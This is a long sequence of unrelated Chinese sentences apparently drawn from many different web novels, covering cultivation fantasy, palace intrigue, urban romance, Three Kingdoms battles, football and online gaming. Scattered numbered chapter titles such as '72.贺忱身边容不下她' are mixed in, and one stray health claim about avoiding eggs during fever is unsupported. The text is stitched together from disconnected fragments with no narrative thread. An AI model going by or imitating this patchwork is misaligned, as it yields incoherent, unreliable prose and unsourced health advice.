他的一只手和脖子之间夹着一面黑色的旗帜,旗帜上的那个“秦”字对于现场的其他听众来说是那么的刺眼,仿佛是催命的符号。
林寒此刻也是猛然的一个漂亮的翻身,瞬间就便是从坑洞之中翻了出来,随后就便是一脸轻松的对着穆力和沈梦瑶笑了笑。
“好吧,知道了,怕了你们了。”我叹了口气,话都说到这份上了,我要是还矫情,还真的不好意思,算是同意了。
今晚在网吧包厢的气氛特别的压抑,而且特别的安静,静到只有敲打键盘的声音。
慌的朱峦恨不得抽自己俩嘴巴,这好好的在府上伺侯着,跟着去照顾着那不得了,这好好的主子现在要是因为自己说出这话惹出什么事,有个三长两短的,那怎生是好。
葛吉泰屡次带兵倾剿。都被他狡猾逃脱。此次居然敢明目张胆进京。
至于,她拿着江源的卡,潘晓晓也看出来了,对方跟江源关系不浅那绝对是真的,但对方明显出了点意外,才会这般,这也是真的;所以这也是潘晓晓这能够忍耐下去的原因。
“大将军说说吧,我们被困在武隆郡城时日不短了,对于外面的情况完全不太清楚,我们另外两路大军究竟如何了?如果他们能得手,我们的坚守,或者还有价值。”王明点头道。
张原表面唯唯,心里当然不以为然,一团和气混日子谁不会呢,乱世将临,怎可没有敢为天下先的锐气,如果连董祖常这种人我都要忍让的话那我还能做得了什么事?
“哼,玩够了,也该让俺老张杀了你,拿着你的头颅好像哥哥请功!”张飞现在可不怕这个邓毅了,就像是戏弄老鼠的猫一般。玩腻了自然就要杀了了老鼠。
尤其是那两条长腿,又长又直,加上身形高挑的确惹人眼目,托米刚才不知道瞧了多少眼,甚至还跑过去搭讪——只可惜差点惹得这妹子直接动手打人。
这股力量能为他一人所用,能唯他一人是从;这也是他能敢这般做的原因。
“哼!今rì之仇,来rì必报!”唐谧元神勉强传出一句话后,护持着元神的残剑便朝着上刺出,一瞬间就将马凡关闭的天门给打开。
72.贺忱身边容不下她
苏九摆了摆手,说道:“你们不用感谢我,感谢云月就行了。”然后,便让丫鬟带她们下去了。
英梨梨的呼吸突然有些急促起来!脑海中开始不断的浮现出可怕的十八禁画面。
一想到这个可怕的可能性,封言雄丑陋的脸庞情不自禁抽了抽,眼睛上方刚刚长出来的两道淡淡眉毛也剧烈抖动起来。
六十军棍就算打的再轻,恐怕也性命难保,杨浩下令杖责六十,几乎是判了眼前几位权贵子弟的死刑,着实把萧铉吓得不轻。
斗弛将自己的速度提升到了极致,这才使得自己的速度和李玉芸持平。
“什么!你怎么没有早点儿说!”尉迟恭这时候到时候做出佯怒的样子。
珠兰图娅不愿意面对自己曾经杀过人的事实,她在内心深处渴望被同情,被原谅,于是阿莱夫还活着就成了她在心理上能够为自己脱罪的一个念想。
伊乐回答道,扫视了一圈,随后指了指一个离桐乃刚刚和他说的,那个十人位不远的一个位置。
挂饰与上面的四种宝物不是一个种类,即玩家可以佩戴两个宝物,一个特殊的挂饰。
然而保民门看见紫金村着火,判断出那是棉花垛子被点燃大火铺天盖地而来后;打算赶往紫金村救火,可是沉闷的枪声和炮声又是他们不敢上紫荆村方向赶去。
“不过夜葬哥哥,你真的没事么?”阿古拿出手绢擦了擦夜葬嘴角的血迹,夜葬也不知道自己有没有事,不过现在的情形是不好的,为了不让她担心,夜葬刚想安慰一下让她放心,可是突然之间一旁发出巨响。
随后,浑身血骨淋淋的叶辰也随之降落了下来,许是因为大战消耗太大,以至于落地时没站稳,差点一头栽倒在地上。
若是一般的飞蛾,我完全不用管它们,可这种巨型飞蛾,铺天盖地的在火光中穿来穿去,我就是不理会它们也不现实了。
周围人见到这一幕纷纷对开车男子嘲笑起来,更是被赵铁柱的机智折服,但是他们也知道,想要打脸也得有钱才行。
我之所以没有给她们指里这里不远就能找到的那个山洞,首先我不能断定何厚义她们就不会回来了,假如回来了第一时间跟他们碰面,以越南人的脾气如果他们的枪口指向他,肯定会非常难收拾。
关錦璘见竹野内熊让梨,不能在客套,便将竹野内熊递过来的梨子捧在手中。
“那么,圣体元神归我缥缈城。”缥缈宫大圣笑的甚是阴森吓人。
笑吟吟地接过百里炫舞送上来的茶水,李慕风的目光紧紧盯着百里炫舞那张俏脸,丝毫没有掩饰眼神中的爱慕之意。
有时想想,我真不该给他起卓厉这样一个,不太好听,又饱含我心中所怨的名字。
她收拾好了之后,面具男子也差不多了,他只有几套换洗的衣服,是这些天里林瑶为他买来的。
鸣虫微嘁,娇莺铃啭,林悠悠散着植物青涩的味道。那个青年雅绿衣衫,细步轻轻向林中走去,他时不时从低垂的树枝上摘下些什么。
苏如绘见他似乎与宋采蘩也不熟悉,并不干涉此事,倒是真正松了口气。虽然甘然说过,皇后刻意留宋采蘩在未央宫,正因为觉得宋氏是个不安分的,所以才要放在自己眼底下看好,自然不可能让她借着在未央宫去亲近太子。
蚩尤眉头微皱,楚言并不是那么好解决,现在多了个轩。这让他心中开始没底起来,更何况身后还有一个不知道是敌是友的祁宏。
原本是逍遥派掌门无瑕子的师弟,但是却与之有着一段不为人知的纠葛,其中的故事真的可以说得上是狗血的一逼呀,总而言之,后来直接叛出了逍遥谷,最后投奔了天龙教,为人阴狠,十分懂得利用人性的弱点。
黄之源是内廷副总管,身份仅在圣驾左近的张安之下,这次遴选,正是他负责的。
之前章颖和母亲相伴进山采药草野果,母亲去世后,她就只能自己独自进山采集药草野果。
白虎看似高强,但是它现在对它这一身的本领还没有掌握。白虎只适合用在大范围的战争中,这趟回去却更多的是没有硝烟的战争,用到白虎的地方并不多。
而易言现在的情况是他直接省略了凝结成冰这一段过程,直接将自身的北冥真气灌输到毒的体内,而后脖子是什么位置就不需要多说了吧,人体的中枢神经要害之一。
“你!”晁师炆以为他也在嘲笑自己,正想骂几句,回头看到古东强比划的手势,当下明白过来了。
“在这都蹲了半个月了,终于遇到肥羊了,兄弟们打起精神了,抢了他们的货物拿到城里去卖咯,今年就衣食无忧了!”另一名刀疤男朗声笑道。
一地碎片。满地狼籍。墨如冰的指尖划过桌沿。一股难以言喻的无力感涌上心头。。这样谋划的日子她到底过了多久了。十年。二十年。纵便岁月如水。她还是得不到他的心。为什么。
当那朵红云出现在众人的眼帘里时,众人顿时精神一抖,刚刚还恹恹的姿态立即变得恭敬而郑重起来。
门被推开,里面的人自然也发现了,当即一双双眼睛全部汇聚向门外。
73.可她就是你前妻
走近了,才发现不是什么明星,脸孔太陌生了,从来没在媒体上看到过。
“我就觉得你是个嘴严的人,不会把这件事给说出去的!”唐烟挤出一抹笑容道。
李木没想到酒中颠居然是担心他三天后和欧阳曳一战的事情,连忙开口劝慰道。
“祥哥,疯了吗?那四个分身好好的,他干嘛要毁了他们?”欧阳慧云看到张祥的动作惊呼道。
崇祯皇帝见没人反对,便带着大批銮驾登上了大明门的城楼,一眼望去,场下竟然有数万白衣士子,他们身上刺眼的墨迹,仿佛在形容这个已经墨迹般般,处处漏风的庞大帝国,看得崇祯心中蔚然一叹。
“我想我山东百姓人人居者有其屋,耕者有其田。”洛鸢低声道。
姚战的确有,就在他的脖颈处,见过他的人几乎都看到过那个刺青。
对于大家来说,这个也只是个意外发现,可对于有些人来说,却不然。
李浩然被两名师兄带到悔罪谷谷口,一名青年修士对着一座竹屋施礼道。
柳星河两手一提,右手握拳击出,忽然一股不受控制的力量从右拳喷涌而出,前方一里之外传出来一个爆破的声音,还带着火光。
我们随便坐了几分钟休息,确定这里不会再被人看见之后便收拾好了东西,走出了松林。一直到了大路边上,看见了我家的车还在停在那,李崖宏将罗盘还给了我们。
甘卓志一枪/刺过去, 廖世善没来得及躲, 生生的被扎了入胸口,只是还没等甘卓志高兴,就发现廖世善反而露出轻蔑的笑容来,单手握住那枪, 嘶吼一声就拔了出来,在甘卓志惊慌的目光下,插入了他的胸口。
“这个包在我身上。”黄拓忙不迭的答应下来,肥脸凑过去,刚想亲庄希婉一口,却被庄希婉推开了。
随后又将天阴冥鼓放出,在每一次戟阵遭受冲击、元婴不稳之际,便有一声鼓响泛起。
不远处的陆清漪手中的帕子紧了紧,只见那球飞向风流眼,在第七层处停了下来,落在地上。
“我以前不厉害么?我不是一直都很勇敢。”柳星河不认可如霜这句话。
却也亏得这血影二祖还活着,且血影宗高层将其安置在了这里。若是其余神智情形的婴变修士据守,估计二少少不得还要大费周折。
他最近的确是熬夜多了,天天晚上去查看由全世界送过来的货物,没有好好休息,自然是体质不好。
客人看着这男人疯狂和暴怒的神色也怕惹事,只能是忍着气离开。
刘范十分认同黄氏的话,比如黄巾起义,虽然被扑灭了,但却仍然打击了大汉王朝的统治根基。大汉王朝的轰然倒塌,就是因为黄巾起义之后,大汉王朝的统治力量削弱后,因此带来的社会矛盾和割据问题又太过尖锐。
只见一脸狰狞的青绩正拿着叉样刑具飞扑过来,锋利的刃口泛着精光。
“······”两人看着这条古街顿时就愣住了。这么一个繁华的大都市竟然还有这么一条古朴装呀的地方,两边都是上百年前的建筑了,但是依旧展现,地上铺的不是水泥,而是青砖!这么一条用青砖铺成的街道。
据灵皇所言,整个万灵族之中,也就是他和灵皇二人,有着成神的资质,所以才被万圣山神尊选中做弟子,而族中众多圣者以及天赋卓绝的弟子,似乎从一开始,便是已经注定了其极限所在。
庄坚面无表情,他看着呼延烈,再看看肖家强者,目露仇恨的望着呼延烈,先前前者出辣手重伤了肖远山,此刻,三族之危已解,若是此时,加上庄坚的力量,屠尽呼延山庄,都是不解恨。
“出来,别逼我”姑姑完全愤怒,周围的气场有股被冰封的感觉,嘶,有股冷气传来。
这下所有人都不敢动了,警惕的看着周围的人,谁也不知道到底是谁?
庄坚身躯之上,神火逐渐熄灭,先前经过神火锻造,他祭炼星球所耗费的数十万年的寿元,已经完全补充回来,甚至,经过反哺,他的寿元已经长久的近乎无尽,他感受到,自己距离那个境界,似乎更近了一步。
周围众人看着顾大少众目睽睽之下竟然胯下生出反应,都是想笑又不敢笑,纷纷抬步离开,生怕被迁怒。反倒是这个当事人一副毫不在乎的模样,似乎根本不忌讳他人的目光。
“赤鹰大队的人听着,我知道,你们已经逃出来了,但是,你们真的不顾百姓之危吗?暂且不说你们身上所吸入的毒气会将你们置于死地,就我身上携带的这些足以让这方圆20里寸草不生。你们真的不会怕嘛?”那人说着。
只是今日不能去衙门了,她现在的状态,若是离了手炉,没走几步,又会痛晕的。
而自己各种机缘巧合才堪堪达到幻体境七重,中间路还很长,得一步一步的走。
科尔森其实又哪里是个明白人了,先前之所以会那么说,纯属是出于美国队长丢失了时间,而他又在因圣特那里知道,时间宝石可以操纵时间而已,具体到该怎么做的步骤上,他当然完全是一头雾水。
被点到的高瘦白人,稍稍楞了一下之后,顺从的越众而出,来到了因圣特的身边。
“诺!”泳儿刚出房门就听见房间里传来砸烂东西的声音。淑妃生气地把花瓶和喝茶的器皿一并扔掉,顿时房间里一片狼藉。淑妃心想:不行,我受了这么多苦才能走到今天,我必定要都拿回来。
“她们就在前面咖啡厅里,我带那么去。”见包太太如此热情,夏雨也只好带着她们过去找二太太跟母亲。
74.希望你留在百荣,可以吗
次日,沈渺接到浅姨的电话,要先交二十万的医药费。
她去银行将定期取出来,转到浅姨的账户。
她还有两天假期没用完,没想好怎么回公司,索性再去医院看看卷卷。
“比利你的力气很大。”唐风一边鼓荡着内劲活动着全身的肌肉,一边则是调整自己的精神让自己精神高度集中起来,同时让自己的心情保持一种兴奋,对,战场吧搏杀靠的就是战场上的那股子兴奋劲,这就是杀意。
抵消了好多对张东海的信仰。当然恨张东海最深的是中国韩星脑残粉。
回到洞内,燧人反复琢磨这位老者究竟是何方神圣?为何帮助伏羲?他今日到此难道只为占我便宜?还是另有图谋或者是来探虚实?他因何自称是我师叔?却又为何不战而走?等等诸多问题,着实令他百思不得其解。
“你又对我下了什么毒?”夜如风要哭了,明明正在协商,为什么会突然偷袭呢?太不讲江湖道义了。
这一点再结合刚才毕阡陌所说的,乔覃能够判断的出来毕阡陌是没有危言耸听。
“娘,我今天和陆老爷出去的时候,大哥买了一些烟花给我,说想着娘你的身子不爽,但好歹是大过年的,总该热闹热闹,所以我也就没有过多推辞。”也不知叶禄英在哪里取出这么些个烟花,洋洋洒洒的,也是不少。
“你想做什么有意义的事?参军然后去南海揍吕宋猴子?”潘一凡问道。
可是却越吃越胖。有几个攒钱去张东海开的按摩店按摩减肥,然后廋下来了,就又忍不住的大吃大喝,等到又胖了,就再拿着从张东海这里赚的工资去按摩减肥。
且说,时至深夜,果然正如力牧所说,有几个面目狰狞的恶鬼,趁着风势从混乱一团的天空中终于出现了。
因为此时此刻,唐枫一身威压竟比他在武原岛灭杀日笨武者时还要强上几分。而且,这才刚刚开始。
这丹丸不知是何等药材炼制而成,药香奇异,内里更有一丝丝精纯至极的能量弥散而出,让唐枫全身毛孔都下意识展开。
吴敌清楚的记得,大筒木辉夜在开启白眼之后,立即就认出了鸣人和佐助体内阿修罗和因陀罗的查克拉。
“师傅,你来掌控大阵,我们出去杀了他们!”一名神通境后期的年轻男子沉声看向赵刚。
昨天她还把头发给剪短了,齐肩的样子,因为知道她是学生,发型师也没有怎么弄,只是轻微给她烫了一点点的纹理。
昆仑在他们的世界里消失了无数载,在各自的秘境中,他们才是主宰,自由自在惯了,而今突然成了奴仆,被人趾高气扬的指示着去送命,他们不甘心。
唐爽跟孙晓丽玩的好,现在看着孙晓丽被梁弯弯这么下面子,瞬间爆了,直接走了过来,要给孙晓丽找场子。
漫画这种产品,最重要的就是开始的剧情,有了吸引人的因素,再配合足够的广告宣传,就能迅速进入高速发展的步骤。
“冥御大人并没有告诉我这些。”若是冥御能够早些告诉她,那么她也不至于在来圣泉之后将墨香的脸给毁容了。
75.就算要飞……也飞不出您的手掌心
“神父,咱们都不用妄自菲薄了,我们彼此不了解对方的教派,算是互相学习吧。”我说。
裴炎没想到陛下看上了自己,顿时摇头,脸色煞白,开玩笑了,去关外,我这个身子,不是去找死吗?
也不知道是关锦桐下楼的声音轻,还是秦年年想事情想的太过专注,竟然都没有察觉到关锦桐下楼的动静。
“宗‘门’到了生死存亡的时刻,大家更要团结起来,我始终相信,作为宗‘门’最强一代的弟子,往后一定有人能到达不可一世的地步。”断狱峰首座虽坚定言语,可是在情势危机的战场上,却着实没有什么说服力。
后来,丫丫也有对着戒指许下另外的一个愿望,那就是,希望爸爸妈妈回到身边。
之后,官语白‘花’了几年的时间,派人在西夜暗察,后来发现官家军的副将谢一峰在西夜还颇受重用。
“呵呵,梁伯父修为也不低,九品仙王境巅峰,已经处于仙界强者之行列,突破到仙帝境也只不过是时间问题,沐风刚刚突破不久,现在乃是二品仙帝境修为。”沐风微笑的说道。
皇帝在知道他畏罪自杀后,便开恩把御马监干活的太监全都放了出来,不再追究。
眼看外面天色漆黑一片,猜着晚上嬴政不会回来,我洗了个澡就到大榻上躺下,好半天也睡不着。越想夏太后的话越不对劲。成蛟他难道真有不臣之心?我要不要告诉嬴政?不行!这可是要掉脑袋的大事,绝计不能乱说的。
所以,在这种大趋势和思想教育下,当夜花主动接近胡一菲,搞曲线救国的时候,胡一菲并没有什么反感,反而为林锋感到高兴。
柳婉儿则拉着林天生的手,想要蹲下去,哪知道她一蹲,貂皮大衣又碍事了,没办法,她只好把貂皮大衣脱光了,然后一脸无奈的看着林天生。
瞬间。几个悍匪隐藏着的‘混’凝土墙壁变成了透明的,林天生竟然可以清清楚楚地看见剩下的几个劫匪的位置。
看着擂台上这残忍一幕,依依水灵眸子也无比通红,在一刻,她在心底更加痛恨自己有着这样一个母亲。
李夸父甚至没有将一根烟抽完就已经鬼魅般闪进了那栋别墅,明知山有虎偏向虎山行素来是一句形容人气势磅礴、不畏强敌的话,但他们的结局几乎注定凄凉,李夸父并不是不知道这一点,但有些时候真的是身不由己。
肖药儿表现出来的倨傲简易自然是看在眼里,不过他一点儿也不会为其所动。
所以大部分耳聪目明的红军和党的中高级干部们都知道列宁格勒和斯摩棱斯克被德国人用什么秘密武器摧毁了。只有那些基层连队的炮灰还大部分被蒙在鼓里面。
这自然也就是意味着在今天晚上的这一场比赛里面,两支球队之间最后的一次较量就要开始了。
钱惟演明确表示了自己干不来枢密使,使刘娥下了决心,还是要整顿一下军队的风气。左思右想,最后决定把寇准从永兴军请回来,主持这项工作。
河东的太原城位置上。被陈克复用朱砂围了一个圈,写上了一个李字。据情报显示。河北的十几个郡,如今已经大部份都在李家的掌控之中。
心态急了,那么比赛就会打的简单,还好波尔图有高中锋波斯蒂加。
说不定对面就是故意都拿的原皮,就为了让他们误以为是新手,没防备。
那瞬间,蠍王母灵觉惊人,马上察觉到了异常,因为那黑影还没有从它的身体离开,那种颤动让它感同身受。
不过央视的解说看了一下首发,发现曼联还是非常认真的,全部是主力球员,基本上没有怠慢的意思,而这种情况下,比赛的精彩程度就有保障了。
曹豹关靖之辈,不知赵云之勇!他还能不知嘛?莫说张辽,即便是他,想要拿下赵云,都殊为困难。三国中,赵云绝对是超一流武将,与关羽张飞等人比肩的,万军之中取敌将首级如探囊取物的人物。
吕布不能够确保这些义从能不能跟上他突进的速度,在乱军之中极容易冲散!若是想要直取敌将的话,只能够集中全部的力量,攻其一点。
不知道从哪里的流矢飞来,恰好命中了夏侯惇的战马,战马“轰”地一声倒下,那还驱马前进的夏侯惇竟然便那样从马背上摔了下来。
她抬头的眼神清澈明动,长睫微颤,在她那张脸上就是锦上添花的美艳。
由于她在现实的身份已是死亡之人,再者她无法离开萌萌很远,她只能呆在家里。
秦远看着窗外看不透的沉沉雾霭,仿佛希望拨开云雾,看到那个孩子到底在哪里。
鸡蛋所含营养虽然丰富,但不宜在发烧期间多吃鸡蛋,因为鸡蛋内的蛋白质在体内分解后,会产生一定的额外热量,使机体热量增高,加剧发烧症状,并延长发热时间,增加患者痛苦。
泰坦能勾中一个,那就是直接开团,酒桶能炸回去一个的话,那也得是直接团了。
已经暴露在众目睽睽之下,自然也就没了下手的机会,现在只能先逃走再说。
楚南二话不说,便摆脱了潘晓海继续朝前树林狂奔而去,根本不给他任何思考反应的机会。
76.离了婚要孩子?脑子长泡?
他们苍狼佣兵团就算在佣兵工会能排上第一,可跟赤焰城几大家族比,还是没有说话的资本,甚至那些大家族,根本看不起他们这些佣兵团。
而这北俱芦洲还有着这样的一只裂土妖兽,曾经了水狂天神进行联合,想要置丘明阳于死地。
转眼间周离又加大了手上的玄火,周离现在都已经可以感受到成丹表面那一层液体的粘稠了。
本来就可以一拳解决的事情,嫣然也不知道还要继续增长力量要怎么用。
远在数十万里之遥的如来佛祖,在他留在观音菩萨身上的分身被激活之后,他第一时间就是察觉到了,他立刻就是意识到有大事发生了,所以他赶紧就是推算了起来。
贺阳康露出了一个微笑,人家这么有诚意,那咱们也不能太落人家的面子了。
等了半响,见那片黄沙之处真的没了动静,几位长老才微微舒了口气。
玲珑听到这里,才算知道她的‘大外公’和‘二外公’为何要去毫无根基的赤焰城发展。
林昭嘴角的笑意十足,虽然不只说过一次这个问题,但林昭总喜欢逗影。
可是,他知道即便是自己没有恢复前世的记忆,他的心底早就有了林昭的位置。
五人心有灵犀,各自准备阵法。木悲秋却是心有余悸地看了下道宗诃的石像之上,眼中透露出几许恨意。
桂花糕?那是属于她和娘亲之间的回忆,对她来说,再美味的佳肴也比不过娘亲亲手做的桂花糕好吃。
只有宣纸级别的上等纸才拥有折叠的可能,但是史知国递过来的竟然像后世的纸一个,可以任意折!不说别的,单是这一项功能就超越了市面上所有纸张。
轩智怔怔地望着空中不省人事的同门,一咬牙,随手将广成尸体收入腰间一个囊袋中。
说着还拍了拍林昭的头,嘴角的笑意更像是如沐春风一样,让人觉得心神荡漾。
阴阳家,左右护法月神星魂,五大长老中的大司命,少司命和云中子都在桑海,算的上是桑海中实力最强的一方势力了。
李世民被惊吓到了,一次是一千多刺客,一次是两千多!而且,这两次大规模的刺杀竟发生了紧邻长安的宁州、邠州、坊州。
岳飞笑着回去骑上自己的马,开始往县官事先给他安排好的军营出发。
不用猜,陆飞也知道,魔刑天在进入此地后,怕是第一时间便开启了大阵!此时要想进入,当真困难。
“茗,有件事你要知道,我们不是为了应付尾涛他们才推举你的,你是我们之中,唯一能让所有人都信服的同伴,大家都愿意追随你,而我们都或多或少都有些偏激的想法,彼此之间还有些矛盾。”蓉新。
“谢谢教主哥哥,我会听话的,若是我不听话你就打我屁屁。”杨不悔欣喜地说道。
“闭嘴!”左手写寂寞是真的不耐烦了,他和奶水告急也不熟,只是在公会YY叫人时,拉来临时组队的。
“没有办法,必须跳呀。”流沙带着宠溺的眼色柔声柔气的说,然后情不自禁的拉着曾吕的芊芊细手,增添她的勇气。
阿嫂去开的门,这回来了三个,阿雅一眼匆匆掠过,低下头时脸色有些惊。
而席子琳,职业所限,粗神经的兄弟一帮,闺蜜类的朋友一个也没。
必须要找到那个家伙,要亲眼看看留学生那家伙现在到底是个什么样的状况才能够真正的放心下来。这件事情,还真的是周全现在最在意的一件事情,这也是他现在觉得自己必须要做好的事情。
无数朝代更迭有好也有坏,虞姬为自己的仇怨和江东的仇恨,对天下百姓根本没有一丝怜悯,陈默就算是要战争都得算计百姓得失,这一点虽然是为民着想,他若不是有着外挂和兑换能力绝对成不了一个霸主。
“还有照片!”巴勃罗仿佛听见了炸弹爆炸一样,刚刚在周末道歉中逐渐平静下去的情绪又一次掀了起来。
“嫂子?这就是嫂子?”年皓月眼前一亮,他特有的敏锐直觉们就能发现唐思思的不凡,甚至连唐思思的修为自己都探查不到。
第二天,苏墨接到了紫月的回电,在电话中,紫月支支吾吾的,似乎有苏墨难言之隐似的,反正就是要求苏墨一定要回雪族一趟。
叶轩无言一笑,让柳千媚先行坐了进去,出来搞事,迟早是要还的。
陈龙此刻刚好被辅助单杀,他正转身准备找刚才说话的人出气,但看了一眼就立马怂了,因为说话的人可是叶轩,他,惹不起。
77.跟沈渺无关,您有问题找我
“守着点,不许任何人进来!”
明黎艳的怒气很浓,却是没有冲着她释放。
丢下两句话,明黎艳进入总裁办公室。
办公室的门‘砰’的一声被关上。
整栋大厦都被震得抖了三抖。
沈渺诧异地看向紧闭的房门,不光因为明黎艳竟是没冲她发火。
更是因为,明黎艳竟然对贺忱,这么大的怒气。
贺忱做了什么?
凤息想了会好象是这么回事,只要跟柳逸在一起,就会忘了自己五千岁的事。
在这天灯的映衬之下,两颗心,在经过了多少的时间,多少的空间,终于在这一天紧紧交融在一起。
听到这,我已然了悟,死去的那人正是我在画影里看到的与对方起冲突的男人,即留在车厢底部血迹的主人。果然,听陆续说经过血迹鉴定,证实了死者为那辆面包车携带人员。
转念又想想帝姬回来天宫也跟着热闹,天帝和天后也不会给他们脸色看了,也算是好事一桩,仙君们自然心里觉得高兴,只盼着帝姬不要比原来还祸害就好。
可没跑出几步,手就被从后扣住,我回头就是一拳挥去。倒没想能给我打了个实,重重砸在他胸口,只是下一秒我的人被拽了过去撞在他身前,重力使我晃了晃,随而被单臂环过胸前,紧紧压住,再动弹不得。
好吧,还不至于到六神无主,我只能庆幸这点。至于中途喊他,不是没有起过这念,但在转头看他明显消瘦的背影后没开得了那口。
落景寒。他是d组通信师,擅长联络、沟通、搜寻讯息,亲眼所见他在片刻之间黑掉一个站的本领。所以对这种攻占系统的事,他在行。
“属下斗胆进言,如果有霸野孤行或是幽重瞳,任意一位大人在场的话,击破这道结界便大有希望!”斑斓尾跪在地上,突然对独鳞说。
街道两边的水渠映着天上的白云,清澈水中锦鲤悠然地畅游嬉戏着,渠边的花池种满了各种时令鲜花。
我一愣,这是在撒娇吗?见到她开心的笑脸,我的心就像被融化成水一般,载着落花春风一路流动,满是芳甜。
柳拓想要杀死柳贤志的念头还没有消除,仇恨之火还没有消灭,有冒出了更重要的一个念头。
清晨的阳光透过叶子的筛选后,只在地上映出斑点,我仰天张大嘴巴,一缕缕细微的日之精华流入我九岁的身体里,滋养我稚嫩的身体。
游建强撑着身体,他看着对面的三只攻击表示的怪兽大脑里早就想好了如何对付。但是用攻击力1000的[巨型病毒]打真的没问题吗?
地上,教官们横七竖八地躺着,一身健硕的肌肉被血染红,伤口裸露与冰冷地面摩擦,在微微发颤。
十年战场的时光让我长成了一个血性男儿,锋芒毕露,狂野奔放,刀削的轮廓上是不灭的斗志,黑甲长剑,宛若天兵。
说是碾压,是因为明明是“爪”,却没有任何锋利的感觉。所凭借的,只有无可匹敌的力量,天地都似化作了一个大磨盘,层层压迫感,碾碎其中的一切。
游建抽出[德拉古勒斯]的一个叠光素材卡送进墓地触发其效果。
我走出酒楼门口,走到她身边,一脸平静,抬起头面对现实,陪她一起看那天边掉落的巨大火球。
当然,如果他们也有李云从地仙老道那里得来的日月阴阳拳的话,那肯定是另一种心思。不过这种奇遇,可以说千年难遇,万载难求。
78.真动了沈渺,贺忱能怎么样?
门店招牌,清晰地写着‘母婴用品’。
几个大字跟站在里面的沈渺,格格不入。
孙易琴想起上次跟沈渺争执间,看到沈渺扶着肚子。
她目光顿时警惕起来。
“她来这儿干什么?”
只听一声惨叫,那名粟末族士兵躲闪不及,立刻便身异处,头颅飞上了半空,鲜血从断颈中狂喷而出,吓得他身边的几名同伴惊惧不已。
孔翎雨也看到了白洛汐,怒火更甚了,要不是这个软弱的妻,刚刚在青楼里就不会被那个狐狸精给欺负了。拦住了白洛汐的去路。
“好我跟你一块去,就算是死也要死在一起”宋玲玲咬了咬牙大声的说道。
“浩哥,这您就别管了,这算什么,以后有事情尽管吩咐”赵虎并没有说多少钱,而是拍着胸脯说着大话。
这时,冷无尘向冷无玄投来赞赏的目光,他就知道,这个七弟,他没看错,虽然他年纪尚轻,可论沉稳,冷无璃并不及他,而且,他比冷无璃更懂自己的心。
清风吩咐侍卫守着,不要让任何人进去打扰,听到里面有任何的动静就进去帮忙,并通知自己。
想着想着三道身影突然遮挡住了她的目光,抬头望去,只见一人眼中闪着无可奈何,一人眼中闪着怒气,剩下的一人眼中竟然闪着暖意的笑容。
“婉儿,以后我就叫你婉儿,我们二十一世纪的那个名字让它见鬼去吧!”林涵溪豪爽道。
不过现在如果要矢口否认却也不行,毕竟此事是纸里包不住火,要不了两天两郡的败兵就会逃回来,届时人人都会知道战败的结果。如果他现在当面撒谎,将来被揭穿可就更没面了。
李浩早就看到了,而且还仔细的打量了一下光头身后的这些人,没有一个厉害的角色的,当然除了张猛之外。
莫莫望着她微微带点疑惑曾经莉莉丝的容貌美丽是出了名的而现在的她很平凡。
“吴明,就算你说的有道理,那也不能让所有的记者都进来吧,那样的话,就太乱了,就算是外面那些保镖,都看不过来的!”楚楚担忧的说道。
当身下的吸血鬼从容拉高时,我伸出手来,轻轻的拍了拍它的头部,对它出色的表现表示一点赞赏。
蒙台多一边说着,一边在地上把路线图画了出来,还将这支队伍现在所在的位置推断出来。
身为公主,雅善很难有自己的选择,不是联姻嫁去国外皇室贵族,就是和本国的贵族联姻,根本不能嫁给平民,他知道她一心想要自由。
当众人都呆滞这神色向这白刃两人看过去的时候,老头带着十分惧怕的语气向这白刃说道。
比如说这种挂着军牌的宝马车,别说在路上开成s形,就算是生了什么交通事故,只要不是太严重,交警都睁一只眼闭一只眼。
“我没事。”摇了摇头,张扬决定离开这个古里古怪的樱花树,以及透着神秘的扫花姑娘。
“就算没有关系,眼看着一个如花似玉的美人就这么被人抢走,江兄就不觉得脸面上有些过不去吗?”陈煜的言语和笑容中皆带着恶意。
司泱披着香色风衣下了马车,南洋的天气比较炎热,春夏秋冬,最冷也不过一件薄风衣。
79.确实更加性感成熟
雷婷婷板着脸道:“我没空跟你说笑,有人要杀你!”说着把那根针管放在了桌上。
张念祖迷惑而无语,既不知道自己哪讨厌,更不清楚雷婷婷为什么会突然发火。
阻止不了,还是平和的继续,这个过程很短暂,被穿透的伤痕越来越多,上身衣服也被绞碎,只能看到血流如注。
服务员都目瞪口呆瞪着钱金圣,姐姐的死真的跟他有关系,真没有想到他既然是一个狼心狗肺的家伙?
“只要我用心,明年的今天就是我结婚的大喜日子。”黄福很有信心的笑道。
“告辞?你以为你走的……”男子嘴角轻挑,却不想此话尚未说完,凌云便已消失。
“砰!!”远处的海天线翻滚起来,暴躁的海浪出现在远方,凌云等人感觉到脚下的岛屿都在颤颤发抖。
林孝珏看了冯国璋一会,见他是铁了心的不像帮自己,当然她现在也真不能把人送到大理寺去,因为对解决事情毫无用处。
重点还是在卧室,在卧室里面有一条铁丝线,线上挂了很多衣服,还有衣柜,化妆台上放着很多的化妆品,整个卧室的东西没有乱,首先就是要看卧室地上有没有鞋印,或者什么细微的物证,这方面的工作非李三莫属。
苍狼傲然说道,他是不在当佣兵,但一直没有从这种身份中脱离。毕竟,那个时候发生了太多的事情。
这可是炼丹界和炼气界大名鼎鼎的“紫极真火”,居然用来演杂技?
后来因为洛辰的出现,他们又在不远处建立了可以供人类生活的另一件别墅,就款式而言并没有特别的区别。
红葵和红菱似是知道祁妙所想,齐齐朝着对方怂了怂肩,眼中是显而易见的鄙视。
“白琅天你居然敢阻挠我出手击杀韩名!”蚀羽凡看到白琅天出手,当即有些气愤的开口说道。
你真是了不起,孩子刚出生,你就学会换尿布了。林霜钦佩地望着欧阳烈。欧阳烈,你这样雷厉风行的大男人,居然会如此微不足道地照顾婴儿,我真是没有想到。
黄蓉忙问:“他要你带什么话了?”心中却想杨过为何会到华山绝顶,若有所思。因着只听丐帮弟子说过,有兄弟五人作恶,名为“川边武丑”被洪七公盯上了,因此,不怀疑杨过传信之事。
莫问握了握拳头,感受着乾坤大挪移第三层的奥义,一时间心有所感,便下意识地在屋中印证了起来,乾坤大挪移的精妙,果然不可思议。
这样对于洛辰来说没有任何好处,他需要的是知识,百花齐放,百家争鸣的格局对他来说无疑是最好的局面。
洪七公和黄药师听周伯通自己火上浇油,互相看了看,暗自摇头。
望着莫问目露凶光的望向自己,唐广面色一白,顿时大叫了起来,眼中隐隐闪过一抹喜色。
可风瑶也是回过神来,赶紧放下了钳着刘骏呈的手,又将脚抬了起来,赶紧扶起自己以后要仰仗的这个大房东,又细心的掸了掸刘骏呈衣衫上布满着的灰尘。
